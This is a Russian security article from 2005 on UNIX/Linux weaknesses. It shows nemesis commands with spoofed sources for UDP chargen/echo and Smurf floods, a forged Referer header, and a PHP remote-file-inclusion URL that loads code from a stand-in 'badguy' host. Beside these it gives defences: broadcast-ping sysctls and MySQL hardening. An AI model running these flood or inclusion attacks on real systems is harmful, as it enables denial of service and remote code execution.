Linux

Проблемы безопасности UNIX-подобных операционных систем IV

Статья четвертая

Цикл моих статей (2005 год).
Оригинал изначально был размещен на http://adz.void.ru и http://infobez.net.ru. В последствии был перепечатан многими сайтами.
Вы можете скачать весь цикл статей в одном файле (580 кБ)

116. UDP-наводнение. Наверное, еще люди помнят UDP-службы chargen — порт 19 и echo — порт 7. Утилита chargen в ответ на запрос в виде UDP-пакета выдает пакет с набором символов, а echo возвращает отправителю полученный пакет. Атака заключается в отправке пакета на 7 порт одного из компьютеров, например, echo.server.com, с подложным IP-адресом отправителя, указывающим 19 порт на другом сервере, например, chargen.server.com. Это позволит организовать замкнутый цикл обмена UDP-пакетами, отправляющимися с максимальной скоростью. Программа nemesis (http://www.packetfactory.net) позволяет создавать пакеты, в которых указан любой адрес отправителя.
Например, для отправки пакета на 19 порт компьютера 10.0.0.5 от имени хоста с адресом 10.0.0.10, где в качестве порта отправителя будет указан 7 порт, достаточно ввести следующую команду.
bad_guy# nemesis-udp -x echo -y CHARGEN -S 10.0.0.10 -D 10.0.0.5
Если этот пакет достигнет компьютера 10.0.0.5, то он поступить на порт 19 службы chargen, которая ответит пакетом на echo порт компьютера 10.0.0.10, в результате чего в сети возниктен UDP-наводнение.

117. С помощью предыдущей программы можно осуществить Smurf-атаку.
bad_guy# nemesis-icmp -I 8 -S 192.168.0.3 -D 192.168.0.255
Таким образом, используются все хосты сети 192.168.0/24 для «наводнения» пакетами компьютера 192.168.0.3.
Чтобы предотвратить Smurf-атаки, необходимо блокировать широковещательные запросы. Например, воспользоваться командой.
root# echo 1 > /proc/sys/net/ipv4/icmp_ignore_broadcasts
Кроме того, можно полностью блокировать получение ping-запросов.
root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
118. Поле Referer (неправильное написание этого слова — правильно Referrer — было дано в оригинальной спецификации протокола HTTP. Но это официальный вариант, так что использовать нужно его) содержит адрес web-страницы, с которой пользователь, щелкнув на ссылку, попал на данную страницу. Изменить его несложно.
user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=Mark&phone=1234567&data=bad+data
HTTP/1.1
Host: localhost
Referer: http://www.server.com/trusted.html

Так что доверять информации поля Referer не следует.

119. С помощью специальных фрагментов данных cookie Web-сервер ведет учет истории обращений (проводится аутентификация) данного пользователя к Web-сайту. Ниже представлен пример заголовка с добавленной в него информацией cookie.
user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=Mark&phone=1234567&data=bad+data HTTP/1.1
HOST: localhost
Set-Cookie: sessionid=EID8d78dDiqeD; expires=Tue, 30-Jan-2001 04:42:47 GMT

120. Для функций PHP-файлов, например, include(), допускается использование в виде аргументов ссылок URL. Если функция include() передает URL, то она обратится в Internet для получения значения этого аргумента. Например, рассмотрим строку файла insecure.php
include("$includedir/file.php");
Кто угодно может легко установить нужное ему значение переменной $includedir.
http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php
При выполнении сценария insecure.php выполняется обращение по адресу http://www.example.com/insecure.php?includedir=http://www.badguy.com/code/file.php и запускается указанный файл. Так можно передать любой исходный код PHP на www.example.com.
Для рассмотренного примера не стоит использовать переменную $includedir. Вместо этого задайте полное имя файла.
include("/usr/local/apache/php_includes/file.php");
Как уже было сказано, используйте переменные $_GET, $_POST и $_REQUEST для PHP, начиная с версии 4.0 (или $HTTP_GET_VARS и $HTTP_POST_VARS).

121. Обычно по умолчанию выполнение MySQL «ложится на плечи» пользователя root, что может иметь катастрофические последствия. Лучше создать пользователя mysql или аналогичного и производить запуск MysQL под safe_mode от имени этого пользователя, естественно, обеспечив ему доступ к каталогам базы данных MySQL и выполнение кода MySQL.
Завершаем работу сервера.
root# mysqladmin -p -u root shutdown
Далее предоставляем доступ к каталогам баз данных только пользователю mysql.
root# chown -R mysql /home/mysql/data
root# chmod -R go-rwx /home/mysql/data

Далее необходимо проверить, не находится ли сокет unix в том же каталоге данных. Это обеспечивается параметром -with-unix-socket-path. Учтите, что это задается при компиляции.
Перезапускаем сервер MySQL с помощью safe_mysql, выполняемого от имени пользователя mysql.
mysql$ safe_mysql -user=mysql &
В конфигурационном файле /etc/my.cnf в разделе [mysqld] можно написать строчку user=mysql, освободив себя от указания имени пользователя в параметре запуска. Удостоверьтесь, что права выставлены правильно (644), также можно выставить атрибут i (запрещение модификации и ссылок на файл).
Целесообразно удалить малозначимые компоненты, включенные в установку по умолчанию. Удалить базу данных test, выключить удаленный доступ, отключить доступ без имени пользователя, задать пароль для пользователея базы данных root.
Сделаем это. Подключаемся к базе данных.
root# mysql -u root -p
Если у пользователя базы данных root нет пароля, параметр -p надо опустить. Итак, удаляем базу данных test.
mysql> DROP DATABASE test;
MySQL хранит информациию о правах доступа и других базах данных в базе данных MySQL. Это надо немного поправить. Подключимся к базе данных и удалим из таблицы прав доступа записи, относящиеся к базе данных test.
mysql> USE mysql;
mysql> DELETE FROM db WHERE Db LIKE 'test%';

Теперь отменим удаленный доступ к MySQL.
mysql> DELETE FROM user WHERE host='=%';
Еще удалим записи пользователей без имени.
mysql> DELETE FROM user WHERE User='';
Установим пароль для пользователя root.
mysql> UPDATE user SET Password = PASSWORD("fdg56yh5") WHERE User = 'root';
В конце концов перезагрузим MySQL таблицы с правами доступа, чтобы они вступили в силу
mysql> FLUSH PRIVILEGES;

Показать больше

Статьи на близкие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Закрыть